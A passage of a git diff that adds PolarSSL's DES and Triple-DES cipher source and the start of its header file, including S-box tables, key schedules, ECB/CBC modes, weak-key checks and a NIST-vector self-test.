+       0x04200000, 0x00000800, 0x00000802, 0x04200802,
+       0x00200800, 0x00000002, 0x04000000, 0x00200800,
+       0x04000000, 0x00200800, 0x00200000, 0x04000802,
+       0x04000802, 0x04200002, 0x04200002, 0x00000002,
+       0x00200002, 0x04000000, 0x04000800, 0x00200000,
+       0x04200800, 0x00000802, 0x00200802, 0x04200800,
+       0x00000802, 0x04000002, 0x04200802, 0x04200000,
+       0x00200800, 0x00000000, 0x00000002, 0x04200802,
+       0x00000000, 0x00200802, 0x04200000, 0x00000800,
+       0x04000002, 0x04000800, 0x00000800, 0x00200002
+};
+
+static const uint32_t SB8[64] =
+{
+       0x10001040, 0x00001000, 0x00040000, 0x10041040,
+       0x10000000, 0x10001040, 0x00000040, 0x10000000,
+       0x00040040, 0x10040000, 0x10041040, 0x00041000,
+       0x10041000, 0x00041040, 0x00001000, 0x00000040,
+       0x10040000, 0x10000040, 0x10001000, 0x00001040,
+       0x00041000, 0x00040040, 0x10040040, 0x10041000,
+       0x00001040, 0x00000000, 0x00000000, 0x10040040,
+       0x10000040, 0x10001000, 0x00041040, 0x00040000,
+       0x00041040, 0x00040000, 0x10041000, 0x00001000,
+       0x00000040, 0x10040040, 0x00001000, 0x00041040,
+       0x10001000, 0x00000040, 0x10000040, 0x10040000,
+       0x10040040, 0x10000000, 0x00040000, 0x10001040,
+       0x00000000, 0x10041040, 0x00040040, 0x10000040,
+       0x10040000, 0x10001000, 0x10001040, 0x00000000,
+       0x10041040, 0x00041000, 0x00041000, 0x00001040,
+       0x00001040, 0x00040040, 0x10000000, 0x10041000
+};
+
+/*
+ * PC1: left and right halves bit-swap
+ */
+static const uint32_t LHs[16] =
+{
+       0x00000000, 0x00000001, 0x00000100, 0x00000101,
+       0x00010000, 0x00010001, 0x00010100, 0x00010101,
+       0x01000000, 0x01000001, 0x01000100, 0x01000101,
+       0x01010000, 0x01010001, 0x01010100, 0x01010101
+};
+
+static const uint32_t RHs[16] =
+{
+       0x00000000, 0x01000000, 0x00010000, 0x01010000,
+       0x00000100, 0x01000100, 0x00010100, 0x01010100,
+       0x00000001, 0x01000001, 0x00010001, 0x01010001,
+       0x00000101, 0x01000101, 0x00010101, 0x01010101,
+};
+
+/*
+ * Initial Permutation macro
+ */
+#define DES_IP(X,Y)                                             \
+{                                                               \
+       T = ((X >>  4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T <<  4);   \
+       T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16);   \
+       T = ((Y >>  2) ^ X) & 0x33333333; X ^= T; Y ^= (T <<  2);   \
+       T = ((Y >>  8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T <<  8);   \
+       Y = ((Y << 1) | (Y >> 31)) & 0xFFFFFFFF;                    \
+       T = (X ^ Y) & 0xAAAAAAAA; Y ^= T; X ^= T;                   \
+       X = ((X << 1) | (X >> 31)) & 0xFFFFFFFF;                    \
+}
+
+/*
+ * Final Permutation macro
+ */
+#define DES_FP(X,Y)                                             \
+{                                                               \
+       X = ((X << 31) | (X >> 1)) & 0xFFFFFFFF;                    \
+       T = (X ^ Y) & 0xAAAAAAAA; X ^= T; Y ^= T;                   \
+       Y = ((Y << 31) | (Y >> 1)) & 0xFFFFFFFF;                    \
+       T = ((Y >>  8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T <<  8);   \
+       T = ((Y >>  2) ^ X) & 0x33333333; X ^= T; Y ^= (T <<  2);   \
+       T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16);   \
+       T = ((X >>  4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T <<  4);   \
+}
+
+/*
+ * DES round macro
+ */
+#define DES_ROUND(X,Y)                          \
+{                                               \
+       T = *SK++ ^ X;                              \
+       Y ^= SB8[ (T      ) & 0x3F ] ^              \
+                SB6[ (T >>  8) & 0x3F ] ^              \
+                SB4[ (T >> 16) & 0x3F ] ^              \
+                SB2[ (T >> 24) & 0x3F ];               \
+                                                                                               \
+       T = *SK++ ^ ((X << 28) | (X >> 4));         \
+       Y ^= SB7[ (T      ) & 0x3F ] ^              \
+                SB5[ (T >>  8) & 0x3F ] ^              \
+                SB3[ (T >> 16) & 0x3F ] ^              \
+                SB1[ (T >> 24) & 0x3F ];               \
+}
+
+#define SWAP(a,b) { uint32_t t = a; a = b; b = t; t = 0; }
+
+static const unsigned char odd_parity_table[128] = { 1,  2,  4,  7,  8,
+               11, 13, 14, 16, 19, 21, 22, 25, 26, 28, 31, 32, 35, 37, 38, 41, 42, 44,
+               47, 49, 50, 52, 55, 56, 59, 61, 62, 64, 67, 69, 70, 73, 74, 76, 79, 81,
+               82, 84, 87, 88, 91, 93, 94, 97, 98, 100, 103, 104, 107, 109, 110, 112,
+               115, 117, 118, 121, 122, 124, 127, 128, 131, 133, 134, 137, 138, 140,
+               143, 145, 146, 148, 151, 152, 155, 157, 158, 161, 162, 164, 167, 168,
+               171, 173, 174, 176, 179, 181, 182, 185, 186, 188, 191, 193, 194, 196,
+               199, 200, 203, 205, 206, 208, 211, 213, 214, 217, 218, 220, 223, 224,
+               227, 229, 230, 233, 234, 236, 239, 241, 242, 244, 247, 248, 251, 253,
+               254 };
+
+void des_key_set_parity( unsigned char key[DES_KEY_SIZE] )
+{
+       int i;
+
+       for( i = 0; i < DES_KEY_SIZE; i++ )
+               key[i] = odd_parity_table[key[i] / 2];
+}
+
+/*
+ * Check the given key's parity, returns 1 on failure, 0 on SUCCESS
+ */
+int des_key_check_key_parity( const unsigned char key[DES_KEY_SIZE] )
+{
+       int i;
+
+       for( i = 0; i < DES_KEY_SIZE; i++ )
+               if ( key[i] != odd_parity_table[key[i] / 2] )
+                       return( 1 );
+
+       return( 0 );
+}
+
+/*
+ * Table of weak and semi-weak keys
+ *
+ * Source: http://en.wikipedia.org/wiki/Weak_key
+ *
+ * Weak:
+ * Alternating ones + zeros (0x0101010101010101)
+ * Alternating 'F' + 'E' (0xFEFEFEFEFEFEFEFE)
+ * '0xE0E0E0E0F1F1F1F1'
+ * '0x1F1F1F1F0E0E0E0E'
+ *
+ * Semi-weak:
+ * 0x011F011F010E010E and 0x1F011F010E010E01
+ * 0x01E001E001F101F1 and 0xE001E001F101F101
+ * 0x01FE01FE01FE01FE and 0xFE01FE01FE01FE01
+ * 0x1FE01FE00EF10EF1 and 0xE01FE01FF10EF10E
+ * 0x1FFE1FFE0EFE0EFE and 0xFE1FFE1FFE0EFE0E
+ * 0xE0FEE0FEF1FEF1FE and 0xFEE0FEE0FEF1FEF1
+ *
+ */
+
+#define WEAK_KEY_COUNT 16
+
+static const unsigned char weak_key_table[WEAK_KEY_COUNT][DES_KEY_SIZE] =
+{
+       { 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01 },
+       { 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE },
+       { 0x1F, 0x1F, 0x1F, 0x1F, 0x0E, 0x0E, 0x0E, 0x0E },
+       { 0xE0, 0xE0, 0xE0, 0xE0, 0xF1, 0xF1, 0xF1, 0xF1 },
+
+       { 0x01, 0x1F, 0x01, 0x1F, 0x01, 0x0E, 0x01, 0x0E },
+       { 0x1F, 0x01, 0x1F, 0x01, 0x0E, 0x01, 0x0E, 0x01 },
+       { 0x01, 0xE0, 0x01, 0xE0, 0x01, 0xF1, 0x01, 0xF1 },
+       { 0xE0, 0x01, 0xE0, 0x01, 0xF1, 0x01, 0xF1, 0x01 },
+       { 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE },
+       { 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01 },
+       { 0x1F, 0xE0, 0x1F, 0xE0, 0x0E, 0xF1, 0x0E, 0xF1 },
+       { 0xE0, 0x1F, 0xE0, 0x1F, 0xF1, 0x0E, 0xF1, 0x0E },
+       { 0x1F, 0xFE, 0x1F, 0xFE, 0x0E, 0xFE, 0x0E, 0xFE },
+       { 0xFE, 0x1F, 0xFE, 0x1F, 0xFE, 0x0E, 0xFE, 0x0E },
+       { 0xE0, 0xFE, 0xE0, 0xFE, 0xF1, 0xFE, 0xF1, 0xFE },
+       { 0xFE, 0xE0, 0xFE, 0xE0, 0xFE, 0xF1, 0xFE, 0xF1 }
+};
+
+int des_key_check_weak( const unsigned char key[DES_KEY_SIZE] )
+{
+       int i;
+
+       for( i = 0; i < WEAK_KEY_COUNT; i++ )
+               if( memcmp( weak_key_table[i], key, DES_KEY_SIZE) == 0)
+                       return( 1 );
+
+       return( 0 );
+}
+
+static void des_setkey( uint32_t SK[32], const unsigned char key[DES_KEY_SIZE] )
+{
+       int i;
+       uint32_t X, Y, T;
+
+       GET_UINT32_BE( X, key, 0 );
+       GET_UINT32_BE( Y, key, 4 );
+
+       /*
+        * Permuted Choice 1
+        */
+       T =  ((Y >>  4) ^ X) & 0x0F0F0F0F;  X ^= T; Y ^= (T <<  4);
+       T =  ((Y      ) ^ X) & 0x10101010;  X ^= T; Y ^= (T      );
+
+       X =   (LHs[ (X      ) & 0xF] << 3) | (LHs[ (X >>  8) & 0xF ] << 2)
+               | (LHs[ (X >> 16) & 0xF] << 1) | (LHs[ (X >> 24) & 0xF ]     )
+               | (LHs[ (X >>  5) & 0xF] << 7) | (LHs[ (X >> 13) & 0xF ] << 6)
+               | (LHs[ (X >> 21) & 0xF] << 5) | (LHs[ (X >> 29) & 0xF ] << 4);
+
+       Y =   (RHs[ (Y >>  1) & 0xF] << 3) | (RHs[ (Y >>  9) & 0xF ] << 2)
+               | (RHs[ (Y >> 17) & 0xF] << 1) | (RHs[ (Y >> 25) & 0xF ]     )
+               | (RHs[ (Y >>  4) & 0xF] << 7) | (RHs[ (Y >> 12) & 0xF ] << 6)
+               | (RHs[ (Y >> 20) & 0xF] << 5) | (RHs[ (Y >> 28) & 0xF ] << 4);
+
+       X &= 0x0FFFFFFF;
+       Y &= 0x0FFFFFFF;
+
+       /*
+        * calculate subkeys
+        */
+       for( i = 0; i < 16; i++ )
+       {
+               if( i < 2 || i == 8 || i == 15 )
+               {
+                       X = ((X <<  1) | (X >> 27)) & 0x0FFFFFFF;
+                       Y = ((Y <<  1) | (Y >> 27)) & 0x0FFFFFFF;
+               }
+               else
+               {
+                       X = ((X <<  2) | (X >> 26)) & 0x0FFFFFFF;
+                       Y = ((Y <<  2) | (Y >> 26)) & 0x0FFFFFFF;
+               }
+
+               *SK++ =   ((X <<  4) & 0x24000000) | ((X << 28) & 0x10000000)
+                               | ((X << 14) & 0x08000000) | ((X << 18) & 0x02080000)
+                               | ((X <<  6) & 0x01000000) | ((X <<  9) & 0x00200000)
+                               | ((X >>  1) & 0x00100000) | ((X << 10) & 0x00040000)
+                               | ((X <<  2) & 0x00020000) | ((X >> 10) & 0x00010000)
+                               | ((Y >> 13) & 0x00002000) | ((Y >>  4) & 0x00001000)
+                               | ((Y <<  6) & 0x00000800) | ((Y >>  1) & 0x00000400)
+                               | ((Y >> 14) & 0x00000200) | ((Y      ) & 0x00000100)
+                               | ((Y >>  5) & 0x00000020) | ((Y >> 10) & 0x00000010)
+                               | ((Y >>  3) & 0x00000008) | ((Y >> 18) & 0x00000004)
+                               | ((Y >> 26) & 0x00000002) | ((Y >> 24) & 0x00000001);
+
+               *SK++ =   ((X << 15) & 0x20000000) | ((X << 17) & 0x10000000)
+                               | ((X << 10) & 0x08000000) | ((X << 22) & 0x04000000)
+                               | ((X >>  2) & 0x02000000) | ((X <<  1) & 0x01000000)
+                               | ((X << 16) & 0x00200000) | ((X << 11) & 0x00100000)
+                               | ((X <<  3) & 0x00080000) | ((X >>  6) & 0x00040000)
+                               | ((X << 15) & 0x00020000) | ((X >>  4) & 0x00010000)
+                               | ((Y >>  2) & 0x00002000) | ((Y <<  8) & 0x00001000)
+                               | ((Y >> 14) & 0x00000808) | ((Y >>  9) & 0x00000400)
+                               | ((Y      ) & 0x00000200) | ((Y <<  7) & 0x00000100)
+                               | ((Y >>  7) & 0x00000020) | ((Y >>  3) & 0x00000011)
+                               | ((Y <<  2) & 0x00000004) | ((Y >> 21) & 0x00000002);
+       }
+}
+
+/*
+ * DES key schedule (56-bit, encryption)
+ */
+int des_setkey_enc( des_context *ctx, const unsigned char key[DES_KEY_SIZE] )
+{
+       des_setkey( ctx->sk, key );
+
+       return( 0 );
+}
+
+/*
+ * DES key schedule (56-bit, decryption)
+ */
+int des_setkey_dec( des_context *ctx, const unsigned char key[DES_KEY_SIZE] )
+{
+       int i;
+
+       des_setkey( ctx->sk, key );
+
+       for( i = 0; i < 16; i += 2 )
+       {
+               SWAP( ctx->sk[i    ], ctx->sk[30 - i] );
+               SWAP( ctx->sk[i + 1], ctx->sk[31 - i] );
+       }
+
+       return( 0 );
+}
+
+static void des3_set2key( uint32_t esk[96],
+                                                 uint32_t dsk[96],
+                                                 const unsigned char key[DES_KEY_SIZE*2] )
+{
+       int i;
+
+       des_setkey( esk, key );
+       des_setkey( dsk + 32, key + 8 );
+
+       for( i = 0; i < 32; i += 2 )
+       {
+               dsk[i     ] = esk[30 - i];
+               dsk[i +  1] = esk[31 - i];
+
+               esk[i + 32] = dsk[62 - i];
+               esk[i + 33] = dsk[63 - i];
+
+               esk[i + 64] = esk[i    ];
+               esk[i + 65] = esk[i + 1];
+
+               dsk[i + 64] = dsk[i    ];
+               dsk[i + 65] = dsk[i + 1];
+       }
+}
+
+/*
+ * Triple-DES key schedule (112-bit, encryption)
+ */
+int des3_set2key_enc( des3_context *ctx, const unsigned char key[DES_KEY_SIZE * 2] )
+{
+       uint32_t sk[96];
+
+       des3_set2key( ctx->sk, sk, key );
+       memset( sk,  0, sizeof( sk ) );
+
+       return( 0 );
+}
+
+/*
+ * Triple-DES key schedule (112-bit, decryption)
+ */
+int des3_set2key_dec( des3_context *ctx, const unsigned char key[DES_KEY_SIZE * 2] )
+{
+       uint32_t sk[96];
+
+       des3_set2key( sk, ctx->sk, key );
+       memset( sk,  0, sizeof( sk ) );
+
+       return( 0 );
+}
+
+static void des3_set3key( uint32_t esk[96],
+                                                 uint32_t dsk[96],
+                                                 const unsigned char key[24] )
+{
+       int i;
+
+       des_setkey( esk, key );
+       des_setkey( dsk + 32, key +  8 );
+       des_setkey( esk + 64, key + 16 );
+
+       for( i = 0; i < 32; i += 2 )
+       {
+               dsk[i     ] = esk[94 - i];
+               dsk[i +  1] = esk[95 - i];
+
+               esk[i + 32] = dsk[62 - i];
+               esk[i + 33] = dsk[63 - i];
+
+               dsk[i + 64] = esk[30 - i];
+               dsk[i + 65] = esk[31 - i];
+       }
+}
+
+/*
+ * Triple-DES key schedule (168-bit, encryption)
+ */
+int des3_set3key_enc( des3_context *ctx, const unsigned char key[DES_KEY_SIZE * 3] )
+{
+       uint32_t sk[96];
+
+       des3_set3key( ctx->sk, sk, key );
+       memset( sk, 0, sizeof( sk ) );
+
+       return( 0 );
+}
+
+/*
+ * Triple-DES key schedule (168-bit, decryption)
+ */
+int des3_set3key_dec( des3_context *ctx, const unsigned char key[DES_KEY_SIZE * 3] )
+{
+       uint32_t sk[96];
+
+       des3_set3key( sk, ctx->sk, key );
+       memset( sk, 0, sizeof( sk ) );
+
+       return( 0 );
+}
+
+/*
+ * DES-ECB block encryption/decryption
+ */
+int des_crypt_ecb( des_context *ctx,
+                                       const unsigned char input[8],
+                                       unsigned char output[8] )
+{
+       int i;
+       uint32_t X, Y, T, *SK;
+
+       SK = ctx->sk;
+
+       GET_UINT32_BE( X, input, 0 );
+       GET_UINT32_BE( Y, input, 4 );
+
+       DES_IP( X, Y );
+
+       for( i = 0; i < 8; i++ )
+       {
+               DES_ROUND( Y, X );
+               DES_ROUND( X, Y );
+       }
+
+       DES_FP( Y, X );
+
+       PUT_UINT32_BE( Y, output, 0 );
+       PUT_UINT32_BE( X, output, 4 );
+
+       return( 0 );
+}
+
+#if defined(POLARSSL_CIPHER_MODE_CBC)
+/*
+ * DES-CBC buffer encryption/decryption
+ */
+int des_crypt_cbc( des_context *ctx,
+                                       int mode,
+                                       size_t length,
+                                       unsigned char iv[8],
+                                       const unsigned char *input,
+                                       unsigned char *output )
+{
+       int i;
+       unsigned char temp[8];
+
+       if( length % 8 )
+               return( POLARSSL_ERR_DES_INVALID_INPUT_LENGTH );
+
+       if( mode == DES_ENCRYPT )
+       {
+               while( length > 0 )
+               {
+                       for( i = 0; i < 8; i++ )
+                               output[i] = (unsigned char)( input[i] ^ iv[i] );
+
+                       des_crypt_ecb( ctx, output, output );
+                       memcpy( iv, output, 8 );
+
+                       input  += 8;
+                       output += 8;
+                       length -= 8;
+               }
+       }
+       else /* DES_DECRYPT */
+       {
+               while( length > 0 )
+               {
+                       memcpy( temp, input, 8 );
+                       des_crypt_ecb( ctx, input, output );
+
+                       for( i = 0; i < 8; i++ )
+                               output[i] = (unsigned char)( output[i] ^ iv[i] );
+
+                       memcpy( iv, temp, 8 );
+
+                       input  += 8;
+                       output += 8;
+                       length -= 8;
+               }
+       }
+
+       return( 0 );
+}
+#endif /* POLARSSL_CIPHER_MODE_CBC */
+
+/*
+ * 3DES-ECB block encryption/decryption
+ */
+int des3_crypt_ecb( des3_context *ctx,
+                                        const unsigned char input[8],
+                                        unsigned char output[8] )
+{
+       int i;
+       uint32_t X, Y, T, *SK;
+
+       SK = ctx->sk;
+
+       GET_UINT32_BE( X, input, 0 );
+       GET_UINT32_BE( Y, input, 4 );
+
+       DES_IP( X, Y );
+
+       for( i = 0; i < 8; i++ )
+       {
+               DES_ROUND( Y, X );
+               DES_ROUND( X, Y );
+       }
+
+       for( i = 0; i < 8; i++ )
+       {
+               DES_ROUND( X, Y );
+               DES_ROUND( Y, X );
+       }
+
+       for( i = 0; i < 8; i++ )
+       {
+               DES_ROUND( Y, X );
+               DES_ROUND( X, Y );
+       }
+
+       DES_FP( Y, X );
+
+       PUT_UINT32_BE( Y, output, 0 );
+       PUT_UINT32_BE( X, output, 4 );
+
+       return( 0 );
+}
+
+#if defined(POLARSSL_CIPHER_MODE_CBC)
+/*
+ * 3DES-CBC buffer encryption/decryption
+ */
+int des3_crypt_cbc( des3_context *ctx,
+                                        int mode,
+                                        size_t length,
+                                        unsigned char iv[8],
+                                        const unsigned char *input,
+                                        unsigned char *output )
+{
+       int i;
+       unsigned char temp[8];
+
+       if( length % 8 )
+               return( POLARSSL_ERR_DES_INVALID_INPUT_LENGTH );
+
+       if( mode == DES_ENCRYPT )
+       {
+               while( length > 0 )
+               {
+                       for( i = 0; i < 8; i++ )
+                               output[i] = (unsigned char)( input[i] ^ iv[i] );
+
+                       des3_crypt_ecb( ctx, output, output );
+                       memcpy( iv, output, 8 );
+
+                       input  += 8;
+                       output += 8;
+                       length -= 8;
+               }
+       }
+       else /* DES_DECRYPT */
+       {
+               while( length > 0 )
+               {
+                       memcpy( temp, input, 8 );
+                       des3_crypt_ecb( ctx, input, output );
+
+                       for( i = 0; i < 8; i++ )
+                               output[i] = (unsigned char)( output[i] ^ iv[i] );
+
+                       memcpy( iv, temp, 8 );
+
+                       input  += 8;
+                       output += 8;
+                       length -= 8;
+               }
+       }
+
+       return( 0 );
+}
+#endif /* POLARSSL_CIPHER_MODE_CBC */
+
+#endif /* !POLARSSL_DES_ALT */
+
+#if defined(POLARSSL_SELF_TEST)
+
+#include <stdio.h>
+
+/*
+ * DES and 3DES test vectors from:
+ *
+ * http://csrc.nist.gov/groups/STM/cavp/documents/des/tripledes-vectors.zip
+ */
+static const unsigned char des3_test_keys[24] =
+{
+       0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,
+       0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01,
+       0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01, 0x23
+};
+
+static const unsigned char des3_test_buf[8] =
+{
+       0x4E, 0x6F, 0x77, 0x20, 0x69, 0x73, 0x20, 0x74
+};
+
+static const unsigned char des3_test_ecb_dec[3][8] =
+{
+       { 0xCD, 0xD6, 0x4F, 0x2F, 0x94, 0x27, 0xC1, 0x5D },
+       { 0x69, 0x96, 0xC8, 0xFA, 0x47, 0xA2, 0xAB, 0xEB },
+       { 0x83, 0x25, 0x39, 0x76, 0x44, 0x09, 0x1A, 0x0A }
+};
+
+static const unsigned char des3_test_ecb_enc[3][8] =
+{
+       { 0x6A, 0x2A, 0x19, 0xF4, 0x1E, 0xCA, 0x85, 0x4B },
+       { 0x03, 0xE6, 0x9F, 0x5B, 0xFA, 0x58, 0xEB, 0x42 },
+       { 0xDD, 0x17, 0xE8, 0xB8, 0xB4, 0x37, 0xD2, 0x32 }
+};
+
+#if defined(POLARSSL_CIPHER_MODE_CBC)
+static const unsigned char des3_test_iv[8] =
+{
+       0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF,
+};
+
+static const unsigned char des3_test_cbc_dec[3][8] =
+{
+       { 0x12, 0x9F, 0x40, 0xB9, 0xD2, 0x00, 0x56, 0xB3 },
+       { 0x47, 0x0E, 0xFC, 0x9A, 0x6B, 0x8E, 0xE3, 0x93 },
+       { 0xC5, 0xCE, 0xCF, 0x63, 0xEC, 0xEC, 0x51, 0x4C }
+};
+
+static const unsigned char des3_test_cbc_enc[3][8] =
+{
+       { 0x54, 0xF1, 0x5A, 0xF6, 0xEB, 0xE3, 0xA4, 0xB4 },
+       { 0x35, 0x76, 0x11, 0x56, 0x5F, 0xA1, 0x8E, 0x4D },
+       { 0xCB, 0x19, 0x1F, 0x85, 0xD1, 0xED, 0x84, 0x39 }
+};
+#endif /* POLARSSL_CIPHER_MODE_CBC */
+
+/*
+ * Checkup routine
+ */
+int des_self_test( int verbose )
+{
+       int i, j, u, v;
+       des_context ctx;
+       des3_context ctx3;
+       unsigned char key[24];
+       unsigned char buf[8];
+#if defined(POLARSSL_CIPHER_MODE_CBC)
+       unsigned char prv[8];
+       unsigned char iv[8];
+#endif
+
+       memset( key, 0, 24 );
+
+       /*
+        * ECB mode
+        */
+       for( i = 0; i < 6; i++ )
+       {
+               u = i >> 1;
+               v = i  & 1;
+
+               if( verbose != 0 )
+                       polarssl_printf( "  DES%c-ECB-%3d (%s): ",
+                                                        ( u == 0 ) ? ' ' : '3', 56 + u * 56,
+                                                        ( v == DES_DECRYPT ) ? "dec" : "enc" );
+
+               memcpy( buf, des3_test_buf, 8 );
+
+               switch( i )
+               {
+               case 0:
+                       des_setkey_dec( &ctx, des3_test_keys );
+                       break;
+
+               case 1:
+                       des_setkey_enc( &ctx, des3_test_keys );
+                       break;
+
+               case 2:
+                       des3_set2key_dec( &ctx3, des3_test_keys );
+                       break;
+
+               case 3:
+                       des3_set2key_enc( &ctx3, des3_test_keys );
+                       break;
+
+               case 4:
+                       des3_set3key_dec( &ctx3, des3_test_keys );
+                       break;
+
+               case 5:
+                       des3_set3key_enc( &ctx3, des3_test_keys );
+                       break;
+
+               default:
+                       return( 1 );
+               }
+
+               for( j = 0; j < 10000; j++ )
+               {
+                       if( u == 0 )
+                               des_crypt_ecb( &ctx, buf, buf );
+                       else
+                               des3_crypt_ecb( &ctx3, buf, buf );
+               }
+
+               if( ( v == DES_DECRYPT &&
+                               memcmp( buf, des3_test_ecb_dec[u], 8 ) != 0 ) ||
+                       ( v != DES_DECRYPT &&
+                               memcmp( buf, des3_test_ecb_enc[u], 8 ) != 0 ) )
+               {
+                       if( verbose != 0 )
+                               polarssl_printf( "failed\n" );
+
+                       return( 1 );
+               }
+
+               if( verbose != 0 )
+                       polarssl_printf( "passed\n" );
+       }
+
+       if( verbose != 0 )
+               polarssl_printf( "\n" );
+
+#if defined(POLARSSL_CIPHER_MODE_CBC)
+       /*
+        * CBC mode
+        */
+       for( i = 0; i < 6; i++ )
+       {
+               u = i >> 1;
+               v = i  & 1;
+
+               if( verbose != 0 )
+                       polarssl_printf( "  DES%c-CBC-%3d (%s): ",
+                                                        ( u == 0 ) ? ' ' : '3', 56 + u * 56,
+                                                        ( v == DES_DECRYPT ) ? "dec" : "enc" );
+
+               memcpy( iv,  des3_test_iv,  8 );
+               memcpy( prv, des3_test_iv,  8 );
+               memcpy( buf, des3_test_buf, 8 );
+
+               switch( i )
+               {
+               case 0:
+                       des_setkey_dec( &ctx, des3_test_keys );
+                       break;
+
+               case 1:
+                       des_setkey_enc( &ctx, des3_test_keys );
+                       break;
+
+               case 2:
+                       des3_set2key_dec( &ctx3, des3_test_keys );
+                       break;
+
+               case 3:
+                       des3_set2key_enc( &ctx3, des3_test_keys );
+                       break;
+
+               case 4:
+                       des3_set3key_dec( &ctx3, des3_test_keys );
+                       break;
+
+               case 5:
+                       des3_set3key_enc( &ctx3, des3_test_keys );
+                       break;
+
+               default:
+                       return( 1 );
+               }
+
+               if( v == DES_DECRYPT )
+               {
+                       for( j = 0; j < 10000; j++ )
+                       {
+                               if( u == 0 )
+                                       des_crypt_cbc( &ctx, v, 8, iv, buf, buf );
+                               else
+                                       des3_crypt_cbc( &ctx3, v, 8, iv, buf, buf );
+                       }
+               }
+               else
+               {
+                       for( j = 0; j < 10000; j++ )
+                       {
+                               unsigned char tmp[8];
+
+                               if( u == 0 )
+                                       des_crypt_cbc( &ctx, v, 8, iv, buf, buf );
+                               else
+                                       des3_crypt_cbc( &ctx3, v, 8, iv, buf, buf );
+
+                               memcpy( tmp, prv, 8 );
+                               memcpy( prv, buf, 8 );
+                               memcpy( buf, tmp, 8 );
+                       }
+
+                       memcpy( buf, prv, 8 );
+               }
+
+               if( ( v == DES_DECRYPT &&
+                               memcmp( buf, des3_test_cbc_dec[u], 8 ) != 0 ) ||
+                       ( v != DES_DECRYPT &&
+                               memcmp( buf, des3_test_cbc_enc[u], 8 ) != 0 ) )
+               {
+                       if( verbose != 0 )
+                               polarssl_printf( "failed\n" );
+
+                       return( 1 );
+               }
+
+               if( verbose != 0 )
+                       polarssl_printf( "passed\n" );
+       }
+#endif /* POLARSSL_CIPHER_MODE_CBC */
+
+       if( verbose != 0 )
+               polarssl_printf( "\n" );
+
+       return( 0 );
+}
+
+#endif
+
+#endif
diff --git a/client/loclass/des.h b/client/loclass/des.h
new file mode 100644 (file)
index 0000000..907d56b
--- /dev/null
@@ -0,0 +1,256 @@
+/**
+ * \file des.h
+ *
+ * \brief DES block cipher
+ *
+ *  Copyright (C) 2006-2013, Brainspark B.V.
+ *
+ *  This file is part of PolarSSL (http://www.polarssl.org)
+ *  Lead Maintainer: Paul Bakker <polarssl_maintainer at polarssl.org>
+ *
+ *  All rights reserved.
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License along
+ *  with this program; if not, write to the Free Software Foundation, Inc.,
+ *  51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+#ifndef POLARSSL_DES_H
+#define POLARSSL_DES_H
+
+//#include "config.h"
+
+#include <string.h>
+
+#if defined(_MSC_VER) && !defined(EFIX64) && !defined(EFI32)
+#include <basetsd.h>
+typedef UINT32 uint32_t;
+#else
+#include <inttypes.h>
+#endif
+
+#define DES_ENCRYPT     1
+#define DES_DECRYPT     0
+
+#define POLARSSL_ERR_DES_INVALID_INPUT_LENGTH              -0x0032  /**< The data input has an invalid length. */
+
+#define DES_KEY_SIZE    8
+
+#if !defined(POLARSSL_DES_ALT)
+// Regular implementation
+//
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/**
+ * \brief          DES context structure
+ */
+typedef struct
+{
+       int mode;                   /*!<  encrypt/decrypt   */
+       uint32_t sk[32];            /*!<  DES subkeys       */
+}
+des_context;
+
+/**
+ * \brief          Triple-DES context structure
+ */
+typedef struct
+{
+       int mode;                   /*!<  encrypt/decrypt   */
+       uint32_t sk[96];            /*!<  3DES subkeys      */
+}
+des3_context;
+
+/**
+ * \brief          Set key parity on the given key to odd.
+ *
+ *                 DES keys are 56 bits long, but each byte is padded with
+ *                 a parity bit to allow verification.
+ *
+ * \param key      8-byte secret key
+ */
+void des_key_set_parity( unsigned char key[DES_KEY_SIZE] );
+
+/**
+ * \brief          Check that key parity on the given key is odd.
+ *
+ *                 DES keys are 56 bits long, but each byte is padded with
+ *                 a parity bit to allow verification.
+ *
+ * \param key      8-byte secret key
+ *
+ * \return         0 is parity was ok, 1 if parity was not correct.
+ */
+int des_key_check_key_parity( const unsigned char key[DES_KEY_SIZE] );
+
+/**
+ * \brief          Check that key is not a weak or semi-weak DES key
+ *
+ * \param key      8-byte secret key
+ *
+ * \return         0 if no weak key was found, 1 if a weak key was identified.
+ */
+int des_key_check_weak( const unsigned char key[DES_KEY_SIZE] );
+
+/**
+ * \brief          DES key schedule (56-bit, encryption)
+ *
+ * \param ctx      DES context to be initialized
+ * \param key      8-byte secret key
+ *
+ * \return         0
+ */
+int des_setkey_enc( des_context *ctx, const unsigned char key[DES_KEY_SIZE] );
+
+/**
+ * \brief          DES key schedule (56-bit, decryption)
+ *
+ * \param ctx      DES context to be initialized
+ * \param key      8-byte secret key
+ *
+ * \return         0
+ */
+int des_setkey_dec( des_context *ctx, const unsigned char key[DES_KEY_SIZE] );
+
+/**
+ * \brief          Triple-DES key schedule (112-bit, encryption)
+ *
+ * \param ctx      3DES context to be initialized
+ * \param key      16-byte secret key
+ *
+ * \return         0
+ */
+int des3_set2key_enc( des3_context *ctx, const unsigned char key[DES_KEY_SIZE * 2] );
+
+/**
